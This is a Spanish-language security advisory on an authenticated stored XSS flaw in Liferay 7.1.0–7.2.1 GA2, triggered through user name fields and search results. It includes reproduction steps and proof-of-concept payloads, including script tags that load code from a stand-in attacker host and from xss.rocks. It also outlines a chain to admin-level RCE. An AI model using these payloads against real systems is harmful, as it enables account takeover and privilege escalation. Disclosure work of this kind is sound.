XSS Almacenado Autenticado en LifeRay 7.2.1 GA2 a través de MyAccountPortlet ejecutado por Resultados de Búsqueda

En LifeRay versión 7.1.0 hasta 7.2.1 GA2, los campos de Nombre, Segundo Nombre y Apellido para cuentas de usuario son vulnerables a un problema de XSS Almacenado. Cualquier usuario puede modificar estos campos con una carga útil XSS particular y se almacenará en la base de datos "infectando" al usuario. La carga útil se renderizará cuando un usuario utilice la función de búsqueda para buscar otros usuarios. Si el usuario infectado se muestra como resultado de búsqueda, la carga útil XSS se ejecutará.

• Autor/Investigador: Casey Erdmann
• Fecha de Descubrimiento: 10/17/2019
• Última Revisión: 10/05/2020
• Divulgación Privada: 10/18/2019
• Divulgación Pública: 01/27/2020 (Publicación en Blog)
• Versión Corregida: 01/30/2020 Liferay Portal 7.3.0 GA1
• Publicación de Prueba de Concepto: 10/05/2020

Impacto

Esta vulnerabilidad permite a un atacante ejecutar código arbitrario en el contexto de cualquier usuario que active la carga útil XSS a través de la búsqueda. En un sentido práctico, esto puede llevar a una escalada de privilegios de un usuario no privilegiado a un usuario administrador, así como a un movimiento lateral al tomar el control de otras cuentas. Además, todo lo que se pueda ejecutar mediante JavaScript puede ser explotado en el contexto de otro usuario.

Como se verá en la Prueba de Concepto (PoC), esto está completamente abierto ya que el atacante tiene la capacidad de cargar scripts externos con facilidad en un contexto predeterminado.

La mayoría de las cookies de sesión importantes están marcadas como HTTPOnly, lo que previene principalmente técnicas simples de secuestro de sesión. Dicho esto, cabe señalar que los usuarios que ven la página con navegadores antiguos se ven aún más afectados por esto gracias a los ataques XST.

Dado que los usuarios administradores pueden ejecutar comandos de Gogo Shell y Groovy Script, también es posible encadenar este exploit junto con estas funciones normalmente previstas para obtener RCE no intencionado en el sistema anfitrión, comenzando desde un usuario no privilegiado.

Pasos para Reproducir

Para que esta vulnerabilidad se active, deben cumplirse dos condiciones:

1. Debe tener acceso a una cuenta de usuario en la que pueda modificar los campos de Nombre, Segundo Nombre o Apellido.
2. Su usuario debe ser buscable en LifeRay. Normalmente, esto solo significa que debe ser agregado a un sitio. Por defecto, un usuario puede agregarse a sí mismo al sitio base, lo que significa que puede hacerse buscable sin necesidad de autorización adicional.

Una vez que se cumplen esas condiciones, se pueden observar los siguientes pasos para explotar la vulnerabilidad:

1. Inicie sesión como el usuario al que tiene acceso
2. Navegue a la sección Configuración de la Cuenta
   • Haga clic en el icono de Perfil > Configuración de la Cuenta
   • La URL debería ser algo como: http://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????
3. Modifique los campos de Nombre, Segundo Nombre o Apellido en el formulario con su carga útil XSS (vea los ejemplos de PoC a continuación) y haga clic en Guardar
4. Si aún no está en un sitio, puede unirse a uno navegando a http://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive y haga clic en el icono de "tres puntos" en el lado derecho y seleccione unirse.
5. Busque a su usuario para activar la carga útil XSS: http://mysite.com/web/guest/search?q=<mi usuario>
   • Para realizar pruebas que demuestren el impacto en otro usuario:
     • Inicie sesión como un segundo usuario, busque al "usuario infectado" y la carga útil XSS se ejecutará también en su contexto.

PoC Alerta Simple

• <<SCRIPT>alert("XSS");//<</SCRIPT>

PoC Script Externo y Omisión de Filtro

• <SCRIPT SRC="//attacker.site/payload.js">
• ¡Prueba con xss.rocks!
  • <SCRIPT SRC="//xss.rocks/xss.js"/>

Versión del informe 4.0